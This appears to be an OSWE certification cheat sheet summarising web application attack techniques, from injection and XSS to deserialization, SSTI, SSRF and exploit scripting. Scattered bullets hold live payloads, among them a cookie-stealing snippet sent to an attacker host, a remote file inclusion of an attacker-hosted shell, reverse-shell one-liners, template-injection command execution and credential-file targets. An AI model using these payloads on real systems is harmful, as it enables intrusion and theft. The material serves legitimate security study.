OSWE study materials
OSWE study resources

OSWE cheat sheet

OSWE · Keep the key ideas within reach.

Quick reference

Source Code Analysis and Web Application Reconnaissance

  • Taint analysis needs three elements: a source (GET/POST/cookie/header/upload/database), a sink (eval, system, include, unserialize, a query string), and the absence of a sanitizer on a reachable path between them.

  • PHP superglobals are all attacker-controlled: $_GET, $_POST, $_COOKIE, $_REQUEST (merges GET, POST and COOKIE by default), $_FILES names, and $SERVER['HTTP*'] header values.

  • Grep sink list: eval, assert, system, exec, shell_exec, passthru, popen, proc_open, include/require(_once), unserialize, file_get_contents, curl_exec, header(), innerHTML, dangerouslySetInnerHTML, document.write.

  • Semgrep/CodeQL rules declare pattern-sources, pattern-sinks and pattern-sanitizers; taint mode propagates through assignments, concatenation and function returns, not only direct calls.

  • Exposed VCS artefacts: /.git/HEAD, /.git/config, /.svn/entries, /.hg/; a readable /.git/config confirms a dumpable repository, after which git-dumper rebuilds the working tree.

  • Backup and editor artefacts: index.php.bak, .old, .orig, .save, trailing ~, .swp, .DS_Store; robots.txt, sitemap.xml and /.well-known/ list paths that are never linked in the UI.

  • Default cookie names fingerprint the stack: PHPSESSID (PHP), JSESSIONID (Java), ASP.NET_SessionId, connect.sid (Express), laravel_session, ci_session.

  • API discovery: send OPTIONS and read the Allow header; probe /swagger.json, /openapi.json, /api-docs, and /graphql with the introspection query {__schema{types{name}}}.

  • Brute-force triage by status code: 200 = present, 301/302 = directory or redirect, 401/403 = exists but restricted, 404 = absent, 500 = possibly injectable parameter.

Quick reference

Authentication, Session Management, and Access Control Flaws

  • Vertical access control = role escalation (user to admin); horizontal = same role reaching another user's object; context-dependent = workflow state or multi-step preconditions.

  • IDOR test matrix: increment/decrement identifiers, swap UUIDs harvested elsewhere, change the HTTP method, duplicate parameters (?id=1&id=2), and move the parameter from body to path.

  • JWT = base64url(header).base64url(payload).signature; accepting "alg":"none" and RS256-to-HS256 confusion (public key used as the HMAC secret) are the two classic forgeries.

  • The JWT kid header is frequently used in file paths or queries: ../../../../dev/null forces an empty HMAC key, and SQL injection in kid can return an attacker-chosen key.

  • Session fixation is confirmed when the Set-Cookie value issued before authentication is still accepted afterwards; identifiers must be rotated on any privilege change.

  • Cookie attributes: HttpOnly removes document.cookie visibility, Secure restricts transport to HTTPS, SameSite=Lax blocks cross-site POST but permits top-level GET navigation.

  • PHP type juggling: '0e123' == '0e456' is true (both evaluate as numeric zero), and param[]=x converts a string comparison into an array comparison that returns false or errors.

  • Password reset weaknesses: token = md5(email), md5(timestamp), or a short numeric OTP; Host header injection into the reset link delivers the token to an attacker-controlled domain.

  • Session ID strength rule: at least 64 bits of CSPRNG entropy; sequential or timestamp-derived identifiers are predictable and enumerable.

Quick reference

Injection Vulnerabilities (SQL, NoSQL, LDAP, OS Command)

  • UNION-based SQLi requires equal column counts: raise ORDER BY n until an error occurs, then match types (integers accept NULL) before extracting data.

  • Comment and version syntax: MySQL #, --, //; PostgreSQL and Oracle --; MSSQL -- and //; @@version (MySQL/MSSQL), version() (PostgreSQL), v$version (Oracle).

  • Blind time delays: SLEEP(5) MySQL, pg_sleep(5) PostgreSQL, WAITFOR DELAY '0:0:5' MSSQL, dbms_pipe.receive_message(('a'),5) Oracle.

  • Second-order SQLi: the payload is stored safely and concatenated into a query later (profile update feeding an admin report), so input-time filtering provides no protection.

  • NoSQL (MongoDB): {"$ne":null} or {"$gt":""} as a password matches any value; $regex enables character-by-character extraction; $where executes JavaScript server-side.

  • LDAP filter metacharacters are * ( ) backslash and NUL, escaped as \2a \28 \29 \5c \00; a typical injection shape is )(uid=))(|(uid=*.

  • OS command separators: ; | || & && newline, backticks and $(); blind confirmation via sleep 5, ping -c 2 , or curl to a controlled host.

  • escapeshellcmd escapes metacharacters but does not quote arguments, so extra flags can be injected; escapeshellarg quotes the entire argument and is the safe choice.

  • WAF bypass primitives: case mixing, inline versioned comments /!50000SELECT/, hex literals 0x4142, CHAR()/CONCAT(), and URL or double-URL encoding.

Quick reference

Cross-Site Scripting and Client-Side Attack Chaining

  • Encoding must match context: HTML body needs < >, attribute values need quotes escaped, JavaScript string literals need \x3c or \u003c, and URL context needs percent-encoding.

  • DOM sinks: innerHTML, outerHTML, insertAdjacentHTML, document.write, eval, setTimeout/setInterval with a string, location assignments, and jQuery $(html) or .html().

  • HttpOnly blocks cookie theft but not action: injected script can read CSRF tokens from the DOM and issue same-origin authenticated requests, bypassing SameSite=Lax.

  • CSP directives to inspect: default-src, script-src, object-src, base-uri; 'unsafe-inline' defeats script-src, and a missing base-uri allows hijacking of relative script URLs.

  • CSP bypass routes: JSONP endpoints on whitelisted hosts, AngularJS library gadgets with sandbox escapes, open redirects on whitelisted domains, and user-uploaded JS served from a CDN.

  • Filter evasion: HTML entity and double encoding, alternate tags (svg/onload, img onerror), mixed-case event names, and mutation XSS where sanitizer output re-parses differently.

  • Exfiltration patterns: new Image().src='//attacker/?c='+btoa(document.cookie); fetching same-origin endpoints avoids CORS restrictions entirely.

  • Stored XSS is the highest-value primitive: it executes in the admin context, enabling privilege escalation, forced account changes, and pivoting into internal panels.

  • Reflected and self-XSS require victim interaction, while DOM XSS leaves no server-side log, so detection depends on reviewing client-side sources and sinks.

Quick reference

File Handling Flaws (Upload, Path Traversal, Local/Remote File Inclusion)

  • Traversal payload forms: ../, ..%2f, %2e%2e%2f, ..%5c (Windows), and ....// variants that survive single-pass stripping; %00 truncation applies to PHP below 5.3.4.

  • High-value absolute targets: /etc/passwd, /etc/shadow, /proc/self/environ, /proc/self/cmdline, C:\Windows\win.ini, web.config, .env, and id_rsa keys.

  • PHP wrappers: php://filter/convert.base64-encode/resource=index.php for source disclosure, php://input, data://text/plain;base64,..., zip://, phar:// (triggers deserialization), expect:// (needs the extension).

  • LFI-to-RCE paths: log poisoning of access.log or /var/log/auth.log, /proc/self/environ via User-Agent, session file inclusion, and including an uploaded image containing PHP.

  • RFI requires allow_url_include=On; the parameter must accept a full URL such as http://attacker/shell.txt and the response reflects the executed output.

  • Upload bypass checklist: Content-Type spoofing, extension blacklist gaps (.phtml, .php5, .php7, .phar, .inc), .htaccess re-mapping, trailing dot or space on Windows, and a GIF89a magic-byte prefix.

  • Zip Slip: an archive entry named ../../etc/cron.d/x is written outside the extraction directory when the extractor concatenates entry names without canonicalizing the resolved path.

  • Write-then-include is the standard chain: upload a benign-extension file and include it through LFI to execute it, provided the upload directory is web-readable.

  • Path resolution shortcuts: /proc/self/cwd/ resolves to the process working directory and /proc/self/fd/N to open file descriptors, useful when the document root is unknown.

Quick reference

Deserialization and Server-Side Template Injection

  • PHP unserialize triggers __wakeup, __destruct, __toString and __call; a POP chain strings these across loaded classes to reach a sink such as system() or file_put_contents().

  • phar:// triggers PHP deserialization on any file operation (file_exists, filesize, getimagesize), so a phar file uploaded as an image becomes a deserialization vector.

  • Java endpoints read objects with ObjectInputStream; use ysoserial URLDNS to detect the flaw on gadget-free classpaths, then CommonsCollections or Spring chains for execution.

  • Python pickle.loads executes reduce, which can return (os.system, ('id',)); yaml.load is equivalent, whereas yaml.safe_load only constructs basic types.

  • .NET BinaryFormatter and TypeConfuseDelegate chains are generated with ysoserial.net; ASP.NET ViewState deserialization with a disclosed machineKey is the equivalent primitive.

  • SSTI probes: ${77} and {{77}} returning 49, while the polyglot ${{<%[%'"}}%\ produces distinctive engine errors; #{7*7} indicates Ruby or Java EL.

  • Jinja2: {{config}}, {{''.class.mro[1].subclasses()}}, and {{cycler.init.globals.os.popen('id').read()}} reach command execution.

  • Twig: {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}; FreeMarker: <#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}.

  • Sandbox escape requires reaching an object graph; blocking __ and dots rarely suffices because attribute access can be rebuilt with |attr, request.args, or dict indexing.

Quick reference

SSRF and XML External Entity Processing

  • SSRF loopback and internal targets: 127.0.0.1, [::1], localhost, 0.0.0.0, and the internal ranges 10/8, 172.16/12, 192.168/16, plus admin panels bound to 127.0.0.1:port.

  • Cloud metadata: AWS 169.254.169.254/latest/meta-data/iam/security-credentials/, GCP metadata.google.internal with Metadata-Flavor: Google, Azure 169.254.169.254/metadata with Metadata: true.

  • IP encoding bypasses: decimal 2130706433, octal 0177.0.0.1, hex 0x7f000001, shortened 127.1, IPv6-mapped ::ffff:127.0.0.1, and DNS names that resolve to loopback.

  • Redirects and DNS rebinding defeat allowlist checks: the validator resolves one address while the fetch follows a 302 or a rebinding A record to an internal host.

  • gopher:// crafts arbitrary TCP payloads (including HTTP with CRLF) for SSRF-to-Redis or MySQL attacks; file:// reads local files and dict:// probes services.

  • XXE entity: ]> referenced as &xxe; in a reflected field; PHP parsing requires libxml below 2.9 or LIBXML_NOENT.

  • Blind XXE uses an external parameter entity (%xxe;) hosting a DTD that builds a URL containing file content, exfiltrating through DNS or HTTP to an attacker listener.

  • XXE injection points: SOAP endpoints, SVG uploads, DOCX/XLSX parsing, SAML assertions, and RSS importers - any XML parser with external entity resolution enabled.

  • Mitigations to look for: libxml_disable_entity_loader(true), XMLConstants.FEATURE_SECURE_PROCESSING, or defusedxml in Python; their absence is the finding.

Quick reference

Business Logic and Authorization Bypass

  • Race conditions target check-then-act logic: parallel coupon redemption, withdrawal, or OTP validation requests; HTTP/2 single-packet attacks align their arrival at the server.

  • Price and quantity tampering: negative amounts, zero price, integer overflow, currency rounding, and client-supplied totals accepted without server-side recomputation.

  • Workflow step skipping: call /checkout/confirm or /order/complete directly, bypassing a payment step that only the interface enforces.

  • Mass assignment: add role=admin, isAdmin=true, or verified=1 to a JSON or form body when the framework binds request parameters to model fields without an allowlist.

  • Missing function-level authorization: the route is hidden in the UI but reachable; test every admin endpoint with a low-privilege session and across GET, POST, PUT and DELETE.

  • Verification bypass: change the email after verification, replay the token, or tamper with the response body or status from {"verified":false} to true.

  • GraphQL specifics: introspection reveals the full schema, batching or aliasing sends many OTP guesses in one request, and authorization must be enforced per resolver field.

  • Replay and idempotency: one-time tokens, password-reset links and gift cards must be invalidated server-side after first use; unlimited trials are bypassed with plus-addressing (user+1@).

Quick reference

Custom Exploit Scripting and Vulnerability Chaining

  • Python requests: Session() persists cookies and headers, proxies={'http':'http://127.0.0.1:8080'} routes traffic through an intercepting proxy, verify=False disables TLS checks, and allow_redirects=False exposes 302 responses.

  • Boolean blind extraction: binary-search each character with substring()/ASCII() comparisons, which needs roughly 7 requests per byte versus about 95 for linear scanning.

  • Time-based extraction requires a baseline: measure the unmodified response time, use a delay well above observed jitter (2-5 s), and repeat each candidate to reject false positives.

  • Race harness: threading.Barrier plus ThreadPoolExecutor(max_workers=N) releases all requests simultaneously; an HTTP/2 single-packet attack removes remaining network jitter.

  • Out-of-band confirmation: interactsh or Collaborator generates unique subdomains; poll for DNS and HTTP hits to confirm blind SSRF, XXE and command injection.

  • Shell payload forms: bash -i >& /dev/tcp/HOST/PORT 0>&1, nc -e /bin/sh, and python3 -c 'import pty;pty.spawn("/bin/sh")' for a TTY upgraded with stty raw -echo.

  • Chaining discipline: record the precondition, the primitive gained and the pivot for each step; a typical chain is auth bypass, IDOR or source disclosure, file write, inclusion, then RCE.

  • Encoding helpers: urllib.parse.quote for URL context, base64 for binary-safe transport, and unescaping when parsing responses; double-encode when the filter decodes twice.